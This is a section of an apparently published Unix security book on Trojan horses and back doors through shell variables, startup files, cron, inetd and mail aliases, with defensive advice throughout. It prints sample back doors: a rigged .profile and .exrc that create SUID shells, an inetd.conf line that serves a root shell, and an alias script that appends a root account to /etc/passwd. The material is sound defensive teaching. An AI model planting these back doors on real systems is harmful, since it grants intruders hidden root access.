23.5 Protecting Yourself

Although you can encounter any type of programmed threat in a Unix environment, you are more likely to encounter Trojan horses and back doors. In part, this is because writing effective worms and viruses to attack Unix is rather difficult (though these pests can still spread through Unix systems and networks); also, most attackers do not intend outright damage to your system. Instead, they use Trojan horses or back doors to gain (or regain) additional access to your system. If damage is a goal, obtaining superuser access is usually a first step in the process.

Some of the features that give Unix its flexibility and power also enable attackers to craft workable Trojan horse or back door schemes.

In general, attacks come in one of the following forms:

  • Altering the expected behavior of the shell (command interpreter)

  • Abusing some form of startup mechanism

  • Subverting some form of automatic mechanism

  • Exploiting unexpected interactions

Basically, all of these plans are designed to get a privileged user or account to execute commands that would not normally be executed. For example, one Trojan horse is a program named su that, instead of making you the superuser, sends a copy of the superuser password to an account at another computer.

To protect your system effectively, you need to know how these attacks work. By understanding the methods of attack, you can then be aware of how to prevent them.

An equally important part of protecting yourself is to run a secure system in general. Normal computer security procedures will protect your system against both programmed threats and malicious users.

23.5.1 Shell Features

The shells (csh , sh, ksh, tcsh, and others) provide users with a number of shortcuts and conveniences. Among these features is a complete programming language with variables. Some of these variables govern the behavior of the shell itself. If an attacker is able to subvert the way the shell of a privileged user works, the attacker can often get the user (or a background task) to execute a task for him.

There are a variety of attacks using features of the shell to compromise security. Some are still real threats. Others are historic, in that more recent shells have options set to prevent the attacks from occurring. However, the lack of clear standardization and the continued use of older systems both suggest that a dedicated security professional should understand?and protect against?historical attacks. Both kinds are described in the following sections.

23.5.1.1 PATH attacks

Each shell maintains a path, consisting of a set of directories to be searched for commands issued by the user. This set of directories is consulted, when the user types a command whose name does not contain a leading / symbol, and which does not bind to an internal shell command name or alias.

In shells derived from the Bourne and Korn shells, the PATH variable is normally set within the initialization file. The list of directories given normally consists of directories separated by a colon (:). An entry of only a period, or an empty entry,[4] means to search the current directory. The csh path is initialized by setting the PATH variable with a list of space-separated directory names enclosed in parentheses.

[4] In a POSIX-like system, a null entry does not translate to the current directory; an explicit dot must be used.

For instance, the following are typical initializations that have vulnerabilities:

PATH=.:/usr/bin:/bin:/usr/local/bin                 sh or ksh
set path = ( . /usr/bin /bin /usr/local/bin)        csh

Each command sets the search path to look first in the current directory, then in /usr/bin, then in /bin, and then in /usr/local/bin. This is a poor choice of settings, especially if the user has special privileges. The current directory, as designated by a null directory or period, should never be included in the search path. To illustrate the danger of placing the current directory in your path, see the example given in Chapter 5.

You should also avoid this sort of initialization, which also places the current directory in your search path:

The following is incorrect:

PATH=:/usr/bin:/bin:/usr/local/bin:          sh or ksh

The following is correct:

PATH=        /usr/bin:/bin:/usr/local/bin            sh or ksh

The colons (:) should be used only as delimiters, not as end caps.

No sensitive account should ever have "."?the current directory?in its search path.[5] This rule is especially true of the superuser account! More generally, you should never have a directory in your search path that is writable by other users. Some sites keep a special directory, such as /usr/local/bin/ world-writable (mode 777) so that users can install programs for the benefit of others. Unfortunately, this practice opens up the entire system to the kinds of attacks outlined earlier.

[5] We would argue that no account, sensitive or otherwise, should have the current directory in its search path, but we understand how difficult this practice would be to enforce.

Putting the current directory last in the search path is also not a good idea. For instance, if you use the more command frequently, but sometimes type mroe, the attacker can take advantage of this by placing a Trojan horse named mroe in this directory. It may be many weeks or months before the command is accidentally executed. However, when the command is executed, your security will be penetrated.

We strongly recommend that you get into the habit of typing the full pathname of commands when you are running as root. For example, instead of only typing "chown", type "/sbin/chown" to be sure you are getting the system version! This may seem like extra work, but when you are running as root, you also bear extra responsibility.

If you create any shell files that will be run by a privileged user?including root, daemon, mail, http, etc.?get in the habit of resetting the PATH variable as one of the first things you do in each shell file. The PATH should include only sensible, protected directories. This method is discussed further in Chapter 16.

23.5.1.2 IFS attacks

The IFS variable can be set to indicate which characters separate input words (similar to the -F option of awk). The benefit of this variable is that you can use it to change the behavior of the shell in interesting ways. For example, you could use the following shell script to get a list of account names and their home directories:

#!/bin/sh

IFS=":"

while read acct passwd uid gid gcos homedir shell
do
   echo $acct " " $homedir
done < /etc/passwd

(In this, the shell has already read and parsed the whole file before the assignment to IFS is executed, so the remaining words are not separated by colon (:) characters.)

The IFS feature has largely been superseded by other tools, such as awk and Perl. However, the feature lives on and can cause unexpected damage. By setting IFS to use / as a separator, an attacker could cause a shell file or program to execute unexpected commands.

Most modern versions of the shell will reset their IFS value to a normal set of characters when invoked. Thus, shell files will behave properly. However, not all do. To determine if your shell is immune to this problem, try executing the following:

: A test of the shell

cd /tmp
cat > tmp <<E-O-F
echo "Danger!"
echo "Your shell does NOT reset the IFS variable!"
E-O-F

cat > foo <<E-O-F
echo "Your shell appears well behaved."
E-O-F

cat > test$$ <<E-O-F
/tmp/foo
E-O-F

chmod 700 tmp foo test$$

PATH=.:$PATH
IFS="/$IFS"
export PATH IFS

test$$

rm -f tmp foo test$$

Failure to reset the IFS variable is not itself a security problem. The difficulty arises when a shell file is executed on behalf of a user, or if some command is executed from within a program using the system( ) or popen( ) calls (they both use the shell to parse and execute their arguments). If an attacker can execute the program as a privileged user and reset the search path, then he can compromise security. You should be especially cautious about writing shell files and SUID/SGID programs if your shell does not reset IFS.

23.5.1.3 $HOME attacks

Yet another tactic that can be exploited, in some circumstances, is to reset the HOME variable. Normally, csh and ksh substitute the value of this variable for the ~ symbol when it is used in pathnames. Thus, if an attacker is able to change the value of this variable, he might also be able to take advantage of a shell file that used the ~ symbol as a shorthand for the home directory.

For example, if there is a SUID csh file (despite our warnings elsewhere about both csh and SUID shell files) that references ~/.rhosts for the user, an attacker could subvert it by resetting the HOME environment variable before running it.

23.5.1.4 Filename attacks

One subtle form of attack results from an interaction between the shell and the filesystem. The Unix filesystem has no restrictions on the characters that can be used in a filename, other than that the slash (/) and null (ASCII 0) characters cannot be used. Consequently, other special characters can be used, including the following:

' ; | & $

The problem exists when a user finds that some script or command is executed on a regular basis by a privileged user, and the command uses filenames as an argument. If your attacker creates a filename with the appropriate sequence of characters, the attacker could execute a command of her choosing.

This problem most often manifests itself when there are scripts run from the cron file to do filesystem sweeps or accounting. The commands most susceptible to this form of attack are find and xargs,[6] along with anything that edits input and moves it to a shell. The script in Example 23-1 demonstrates all three and checks the versions of your programs to see if they can be used in such an attack. If so, examine carefully any scripts you run regularly.

[6] The GNU find and xargs programs have a -0 option, which causes the programs to use the NULL character as the delimiter rather than the linefeed. The use of this option protects these commands from some of the filename attacks of the variety described in this section because the NULL character cannot appear in filenames.

Example 23-1. Command test script
: A Test of three basic commands

cd /tmp

if test -f ./gotcha
then
   echo "Ooops! There is already a file named gotcha here."
   echo "Delete it and try again."
   exit 1
fi

cat > gotcha <<E-O-F
echo "Haha! Gotcha! If this was nasty, you would have a problem! 1>&2"
touch g$$
exit 2
E-O-F
chmod +x ./gotcha

fname='foo;'gotcha''
touch "$fname"

PATH=.:$PATH
export PATH

find /tmp -type f -exec echo {} \; > /dev/null

if test -f ./g$$
then
   echo "Ooops! find gotcha!"
   rm -f g$$
else
   echo "find okay"
fi

ls -1 * | sed 's/^/wc /' | sh >/dev/null

if test -f ./g$$
then
   echo "Ooops! your shell gotcha!"
   rm -f g$$
else
   echo "your shell okay"
fi

ls -1 | xargs ls >/dev/null

if test -f ./g$$
then
   echo "Ooops! xargs gotcha!"
   rm -f g$$
else
echo "xargs okay"

fi

rm -f ./gotcha "$fname" g$$

23.5.2 Startup File Attacks

Various programs have methods of automatic initialization to set options and variables for the user. Once these options and variables are set, the user normally never looks at them again. As a result, they are a great spot for an attacker to make a hidden change to be executed automatically on her behalf.

The problem is not that these startup files exist, but that an attacker may be able to write to them. All startup files should be protected so only the file's owner can write to them. Even having group-write permission on these files may be dangerous.

23.5.2.1 .login, .profile, /etc/profile

These files are executed when the user first logs in. Commands within the files are executed by the user's shell. Allowing an attacker to write to these files can result in arbitrary (and hidden) commands being executed each time the user logs in, or on a one-time basis:

# attacker's version of root's .profile file
/bin/cp /bin/sh /tmp/.secret
/etc/chown root /tmp/.secret
/bin/chmod 4555 /tmp/.secret
# run real .profile and replace this file
mv /.real_profile /.profile
. /.profile
23.5.2.2 .cshrc, .kshrc, .tcshrc

These are files that can be executed at login or when a new shell is run. They may also be run after executing su to the user account.

23.5.2.3 .emacs

This file is read and executed when the GNU Emacs editor is started. Commands of arbitrary nature may be written in Emacs LISP code and buried within the user's Emacs startup commands. Furthermore, if any of the directories listed in the load-path variable are writable, the library modules can be modified with similar results.

23.5.2.4 .exrc, .nexrc

These files are read for initialization when the ex or vi editor is started. What is particularly nasty is that if there is a version of this file present in the current directory, then its contents may be read in and used instead of the one in the user's home directory.

Thus, an attacker might do the following in every directory where he has write access:

% cat > .exrc
!(cp /bin/sh /tmp/.secret;chmod 4755 /tmp/.secret)&
^D

Should the superuser ever start either the vi or ex editor in one of those directories, the superuser will unintentionally create an SUID sh. The superuser will notice a momentary display of the ! symbol during editor startup. The attacker can then, at a later point, recover this SUID file and take full advantage of the system.

Some versions of the vi/ex software allow you to put the command set noexrc in your EXINIT environment variable. This ability prevents any local .exrc file from being read and executed.

23.5.2.5 .forward, .procmailrc

Some mailers allow the user to specify special handling of mail by placing special files in his home directory. With sendmail, the user may specify certain addresses and programs in the .forward file. If an attacker can write to this file, she can specify that upon mail receipt a certain program be run?like a shell script in /tmp that creates a SUID shell for the attacker.

Many popular mailer packages allow users to write filter files to process their mail in a semi-automated fashion. This includes the procmail system, MH, and several others. Some of these programs are quite powerful, and have the potential to cause problems on your system. If a user writes a filter to trigger on a particular form of mail coming into the mailbox, an attacker could craft a message to cause unwanted behavior.

For example, suppose that one of your users has installed an autoreply to send an "out of the office" reply to any incoming mail. If someone with malicious intent were to send a forged mail message with a bad return address, the hapless user's mailer would send an automated reply. However, the bad address would cause a bounce message to come back, only to trigger another autoreply. The result is an endless exchange of autoreplies and error messages, tying up network bandwidth (if non-local), log file space, and disk space for the user. (The solution is to use an autoreply that sends a reply to each address only once every few days, and that recognizes and does not reply to error messages. Novice programmers, by definition, seldom think about how the software they write can fail.)

23.5.2.6 Other files

Other programs also have initialization files that can be abused. Third-party systems that you install on your system, such as database systems, office interfaces, and windowing systems, all may have initialization files that can cause problems if they are configured incorrectly or are writable. You should carefully examine any initialization files present on your system, and especially check their permissions.

23.5.2.7 Other initializations

Many programs allow you to set initialization values in environment variables in your shell rather than in your files. These can also cause difficulties if they are manipulated maliciously. For instance, in the previous example for vi, the Trojan horse can be planted in the EXINIT environment variable rather than in a file. The attacker then needs to trick the superuser into somehow sourcing a file or executing a shell file that sets the environment variable and then executes the editor. Be very wary of any circumstances in which you might alter one of your shell variables in this way!

Another possible source of initialization errors comes into play when you edit files that have embedded edit commands. Both vi/ex and Emacs allow you to embed edit commands within text files so they are automatically executed whenever you edit the file. For this to work, they must be located in the first few or last few lines of the file.

To disable this feature in Emacs, place one of these lines in your .emacs file:

(setq inhibit-local-variables t)                   ; Emacs Version 18

or:

(setq enable-local-variables "ask")                    ; Emacs Verison 19 and above

We know of no uniform method of disabling the undesired behavior of vi/ex on every platform without making alterations to the source. Some vendors may have provided a means of shutting off this automatic initialization, so check your documentation.

23.5.3 Abusing Automatic Mechanisms

Unix has programs and systems that run automatically. Many of these systems require special privileges. If an attacker can compromise these systems, he may be able to gain direct unauthorized access to other parts of the operating system or plant a back door to gain access at a later time.

In general, there are three fundamental principles to preventing abuse of these automatic systems:

  1. Don't run anything in the background or periodically with more privileges than absolutely necessary.

  2. Don't make configuration files for these systems writable by anyone other than the superuser. Consider making them unreadable, too.

  3. When adding anything new to the system that will be run automatically, keep it simple and test it as thoroughly as you can.

The first principle suggests that if you can run something in the background with a user ID other than root, you should do so. For instance, the GNU Mailman 2.0 system has a script that runs every five minutes that attends to pending tasks. Instead of running as root, this script usually runs under a username and UID that is reserved for the Mailman system?for example, mailman or list. The rest of the Mailman system is then configured so that this user has access to modify any of the Mailman databases, but other users do not. In this way, an attacker can't modify the files and insert commands that will automatically execute at a later time.

23.5.3.1 crontab entries

There are three forms of crontab files. The oldest form has a line with a command to be executed as superuser whenever the time field is matched by the cron daemon.[7] To execute commands from this old-style crontab file as a user other than root, you must make the command listed in the crontab file use the su command. For example:

[7] All crontab files are structured with five fields (minutes, hours, days, months, day of week) indicating the time at which to run the command.

59 1 * * *             /bin/su news -c /usr/lib/news/news.daily

This has the effect of running the su command at 1:59 a.m., resulting in a shell running as user news. The shell is given arguments of both -c and /usr/lib/news/news.daily that then cause the script to be run as a command.

The second form of the cron file has an extra field that indicates on whose behalf the command is being run. In the following example, the script is run at 1:59 a.m. as user news without the need for a su command. This version of cron is found principally in versions of Unix derived from the older BSD version.

59 1 * * *             news             /usr/lib/news/news.daily

The third form of cron is found in most modern operating systems. It keeps both a master crontab file and a protected directory with a separate crontab file for each user. The cron daemon examines all the files and dispatches jobs based on the user owning the file. This form of cron does not need any special care in the entries, although (like the other two versions) the files and directories need to be protected.

On many systems, use of cron can be restricted to selected users by using the cron.allow and cron.deny files, which are typically found in /etc. If the cron.allow file is present, only users listed in that file may use cron; otherwise, if cron.deny is present, users in that file may not use cron.

23.5.3.2 inetd.conf

The /etc/inetd.conf file defines which programs should be run when incoming network connections are caught by the inetd daemon. An intruder who can write to the file may change one of the entries in the file to start up a shell or other program to access the system upon receipt of a message. So, he might change:

daytime stream tcp nowait root internal

to:

daytime stream tcp nowait root /bin/ksh ksh -i

This would allow an attacker to telnet to the daytime port on the machine, and get a root shell any time he wanted to get back on the machine. Note that this would not result in any unusual program appearing on the system. The only way to discover this trap is to check the inetd.conf file. Obviously, this is a file to include as part of the checklists procedure for examining altered files. It is also a file that should be closely guarded.

Note that even if the command names look appropriate for each of the services listed in the inetd.conf file, if the corresponding files are writable or in a writable directory, the attacker may replace them with altered versions. They would not need to be SUID/SGID because inetd would run them as root (if so indicated in the file).

23.5.3.3 /etc/mail/aliases, aliases.dir, aliases.pag, and aliases.db

These are the files of system-wide electronic mail aliases used by the sendmail program. Similar files exist for other mailers. The aliases in the aliases file are compiled into database files (aliases.dir and aliases.pag, or aliases.db) for faster lookups.

The danger with this file is that an attacker can create a mail alias that automatically runs a particular program. For example, an attacker might add an alias that looks like this:

uucheck: "|/usr/lib/uucp/local_uucheck"

He might then create a SUID root file called /usr/lib/uucp/local_uucheck that essentially performs these operations:[8]

[8] An actual attacker would make local_uucheck a compiled program to hide its obvious effect.

#!/bin/sh
echo "uucheck::0:0:fake uucp:/:/bin/sh" >> /etc/passwd

The attacker now has a back door into the system. Whenever he sends mail to user uucheck, the system will put an entry into the password file that will allow the attacker to log in. He can then edit the entry out of the password file, and have free reign on the system. How often do you examine your alias file?

There are other ways of exploiting email programs that do not require the creation of SUID programs. We have omitted them from this text, as it is not our goal to provide a cookbook for breaking into computer systems, and an astonishingly large number of sites have world-writable alias files.

Be sure that your alias file is not writable by users (if for no other reason than the fact that it gives users an easy way to intercept your mail). You must also protect the database files. Make certain that no alias runs a program or writes to a file unless you are absolutely 100% certain what the program does.

23.5.3.4 The at program

Most Unix systems have a program called at that allows users to specify commands to be run at a later time. This program is especially useful for jobs that need to be run only once, although it is also useful on systems that do not have a modern version of cron that allows users to set their own delayed jobs.[9]

[9] On systems that do have a suitable version of cron, consider disabling at altogether if you don't need it.

The at command collects environment information and commands from the user and stores them in a file for later execution. The user ID to be used for the script is taken from the queued file. If an attacker can get into the queue directory to modify the file owner or contents, it is possible that the files can be subverted to do something other than what was intended. Thus, for obvious reasons, the directory where at stores its files should not be writable by others, and the files it creates should not be writable (or readable) by others.

Try running at on your system. If the resulting queue files (usually in /usr/spool/atrun, /usr/spool/at, or /var/spool/atrun) can be modified by another user, you should fix the situation or consider disabling the atrun daemon (usually dispatched by cron every 15 minutes).

On many systems, the use of at can be restricted to selected users by using the at.allow and at.deny files, which are typically found in /etc. If the at.allow file is present, only users listed in that file may use at; otherwise, if at.deny is present, users in that file may not use at.

23.5.3.5 System initialization files

The system initialization files are another ideal place for an attacker to place commands that will allow access to the system. By putting selected commands in /etc/rc*, /etc/init.d/*, /etc/rc?.d, and other standard files, an attacker could reconstruct a back door into the system whenever the system is rebooted or the run level is changed. All the files in /etc should be kept unwritable by users other than root!

Be especially careful regarding the log files created by programs automatically run during system initialization. These files can be used to overwrite system files through the use of symlinks. Thus, directories containing log files should also have their permissions tightly controlled.

23.5.3.6 Other files

Other files may be run on a regular basis, and these should be protected in a similar manner. The programs and datafiles should be made nonwritable (and perhaps nonreadable) by unprivileged users. All the directories containing these files and commands up to and including the root directory should be made nonwritable.

Other files and directories to protect include:

  • The NIS/NIS+ database and commands (often in /usr/etc/yp or /var/nis).

  • The files in /usr/adm , /var/adm, and/or /var/log used for accounting and logging.

  • The files in your mailer queue and delivery area (usually /usr/spool/mqueue and /usr/spool/mail or files linked to those names).

  • All the files in the system libraries (/lib , /usr/lib, and /usr/local/lib).

  • Files that are part of the software development system (/usr/include, /usr/lib/cpp, etc.). Users who do not need to use the compiler should not have access to it.

23.5.3.7 Issues with NFS

As an added precaution, none of these files or directories (or the ones mentioned earlier) should be exported via NFS (described in Chapter 15). If you must export the files via NFS, export them read-only, or set their ownership to root and map root client access to nobody. If clients need to be able to modify configuration files, then the exported files (presumably on the /usr partition) should actually be symbolic links to locations on the client's local filesystems (presumably on the /var or /opt partitions).

No files that are used as part of your system's startup procedure or for other automatic operations should be exported via NFS. If these files must be exported using NFS, they should be set on the server to be owned by root and placed in a directory that is owned by root. Do not export directories that hold mailboxes, as these files inherently require ownership by users other than root.



    Part VI: Appendixes